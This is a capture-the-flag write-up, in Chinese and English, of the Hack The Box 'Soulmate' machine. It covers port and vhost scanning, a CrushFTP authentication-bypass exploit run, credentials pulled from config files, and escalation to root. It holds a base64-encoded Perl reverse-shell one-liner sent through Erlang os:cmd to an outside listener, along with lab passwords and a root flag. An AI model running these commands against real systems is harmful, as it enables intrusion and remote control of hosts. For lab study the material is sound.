Soulmate

1. User

1.1. Recon

1.1.1. PortScan

┌──(root㉿kali)-[~/Desktop/htb/Soulmate]
└─# nmap 10.10.11.86 -p 22,80 -sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-02 07:53 EST
Nmap scan report for 10.10.11.86
Host is up (1.4s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.17 seconds

1.2. WEB

Pasted image 20251102211433.png

1.2.1. dir

┌──(root㉿kali)-[~/Desktop/htb/Soulmate]
└─# dirsearch -u http://soulmate.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/htb/Soulmate/reports/http_soulmate.htb/__25-11-02_08-14-48.txt

Target: http://soulmate.htb/

[08:14:48] Starting:
[08:15:09] 301 -  178B  - /assets  ->  http://soulmate.htb/assets/
[08:15:09] 403 -  564B  - /assets/
[08:15:13] 302 -    0B  - /dashboard.php  ->  /login
[08:15:22] 200 -    8KB - /login.php
[08:15:23] 302 -    0B  - /logout.php  ->  login.php
[08:15:34] 302 -    0B  - /profile.php  ->  /login
[08:15:34] 200 -   11KB - /register.php

Task Completed

就一个文件上传
Pasted image 20251102211625.png

1.3. Vhost爆破

┌──(root㉿kali)-[~/Desktop/htb/Soulmate]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-spanish.txt  -u http://soulmate.htb/ -H "Host: FUZZ.soulmate.htb"  -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-spanish.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 152ms]
:: Progress: [5370/5370] :: Job [1/1] :: 607 req/sec :: Duration: [0:00:15] :: Errors: 0 ::

Pasted image 20251102213526.png
Pasted image 20251102213528.png

1.4. CVE-2025-54309 CrushFTP-Authentication-Bypass

┌┌──(root㉿kali)-[~/Desktop/htb/Soulmate/CVE-2025-31161]
└─# python3 CVE-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user admin --password Admin123



_____________   _______________         _______________   ________   .________         ________  ____ ____  ____________
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/         \_____  \/_   /_   |/  _____/_   |
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______   _(__  < |   ||   /   __  \ |   |
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/  /       \|   ||   \  |__\  \|   |
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /         /______  /|___||___|\_____  /|___|
        \/                  \/                  \/     \/         \/       \/                 \/                 \/


Author: Gaurav Bhattacharjee (G4UR4V007)

CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit
Description:
This vulnerability allows an attacker to create a new user account on CrushFTP
without proper authentication by sending crafted XML payloads to the WebInterface.
This can lead to unauthorized access and potential full compromise of the server.



[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: admin
   [*] Password: Admin123

Pasted image 20251102214429.png

Pasted image 20251102214500.png
Pasted image 20251102214510.png

改一下 ben 的密码,然后登上去,
Pasted image 20251102215132.png
Pasted image 20251102215143.png
Pasted image 20251102215248.png
Pasted image 20251102215311.png

┌──(root㉿kali)-[~/Desktop/htb/Soulmate]
└─# pwncat-cs -lp 4444
/root/.local/share/uv/tools/pwncat-cs/lib/python3.10/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import iter_entry_points
[08:55:02] Welcome to pwncat 🐈!                                                                                       __main__.py:164
[08:57:01] received connection from 10.10.11.86:43574                                                                       bind.py:84
[08:57:02] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash                                                  manager.py:957
[08:57:03] 10.10.11.86:43574: registered new host w/ db                                                                 manager.py:957
(local) pwncat$
(local) pwncat$
(remote) www-data@soulmate:/var/www/soulmate.htb/public$ whoami
www-data
(remote) www-data@soulmate:/var/www/soulmate.htb/public$
(remote) www-data@soulmate:/var/www/soulmate.htb$ ls
config  data  public  src
(remote) www-data@soulmate:/var/www/soulmate.htb$
(remote) www-data@soulmate:/var/www/soulmate.htb$ cd config
(remote) www-data@soulmate:/var/www/soulmate.htb/config$ ls
config.php
(remote) www-data@soulmate:/var/www/soulmate.htb/config$ cat config.php
<?php
class Database {
    private $db_file = '../data/soulmate.db';
    private $pdo;

    public function __construct() {
        $this->connect();
        $this->createTables();
    }

    private function connect() {
        try {
            // Create data directory if it doesn't exist
            $dataDir = dirname($this->db_file);
            if (!is_dir($dataDir)) {
                mkdir($dataDir, 0755, true);
            }

            $this->pdo = new PDO('sqlite:' . $this->db_file);
            $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
        } catch (PDOException $e) {
            die("Connection failed: " . $e->getMessage());
        }
    }

    private function createTables() {
        $sql = "
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            is_admin INTEGER DEFAULT 0,
            name TEXT,
            bio TEXT,
            interests TEXT,
            phone TEXT,
            profile_pic TEXT,
            last_login DATETIME,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )";

        $this->pdo->exec($sql);

        // Create default admin user if not exists
        $adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
        $adminCheck->execute(['admin']);

        if ($adminCheck->fetchColumn() == 0) {
>>>>             $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
            $adminInsert = $this->pdo->prepare("
                INSERT INTO users (username, password, is_admin, name)
                VALUES (?, ?, 1, 'Administrator')
            ");
            $adminInsert->execute(['admin', $adminPassword]);
        }
    }

    public function getConnection() {
        return $this->pdo;
    }
}

// Helper functions
function redirect($path) {
    header("Location: $path");
    exit();
}

function isLoggedIn() {
    return isset($_SESSION['user_id']);
}

function isAdmin() {
    return isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1;
}

function requireLogin() {
    if (!isLoggedIn()) {
        redirect('/login');
    }
}

function requireAdmin() {
    requireLogin();
    if (!isAdmin()) {
        redirect('/profile');
    }
}
?>
sqlite> SELECT * FROM users;
1|admin|$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2|1|Administrator|||||2025-08-10 13:00:08|2025-08-10 12:59:39

bcrypt应该爆破不出来

用账号密码登录那个交友网站 admin Crush4dmin990
Pasted image 20251102220446.png
没东西啊

1.5. shell as ben

(remote) www-data@soulmate:/var/www/soulmate.htb/config$ netstat -lnpt
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:34399         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1155/nginx: worker
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:4369          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:2222          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:36951         0.0.0.0:*               LISTEN      -
tcp6       0      0 ::1:4369                :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      1155/nginx: worker
tcp6       0      0 :::22                   :::*                    LISTEN      -

这里开了4369端口,大概率是EPMD
通常就运行这些服务

  • RabbitMQ  (最常见)
  • CouchDB
  • Ejabberd

结合 8443 端口,很可能是 RabbitMQ 管理界面

看下进程

(remote) www-data@soulmate:/var/www/soulmate.htb/config$ ps aux | grep -E 'rabbit|erlang|beam'
>>>> root        1068  0.0  1.6 2251652 67288 ?       Ssl  12:13   0:02 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
www-data    2689  0.0  0.0   3604  1684 pts/0    S+   13:40   0:00 grep -E rabbit|erlang|beam
(remote) www-data@soulmate:/var/www/soulmate.htb/config$ ps aux | grep -E '8080|9090|8443'
root        1761  0.0  0.0 1671188 3352 ?        Sl   12:13   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.19.0.2 -container-port 443
root        1768  0.0  0.0 1597200 3588 ?        Sl   12:13   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.2 -container-port 8080
root        1774  0.0  0.1 1818652 6932 ?        Sl   12:13   0:03 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 9090 -container-ip 172.19.0.2 -container-port 9090
www-data    2694  0.0  0.0   3604  1556 pts/0    S+   13:40   0:00 grep -E 8080|9090|8443

看下这个脚本

(remote) www-data@soulmate:/var/www/soulmate.htb/config$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

>>>>         {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

"ben", "HouseH0ldings998"

2. root

2.1. erlang abuse

ben@soulmate:~$ ssh ben@localhost -p 2222
(ssh_runner@soulmate)5> os:cmd(" echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuODAiOyRwPTQ0NDU7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw== |base64 -d |sh").


┌──(root㉿kali)-[~/Desktop/tools]
└─# rlwrap nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.80] from (UNKNOWN) [10.10.11.86] 40548
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
1be0b087ffb1a8d108878cb1f09b1d02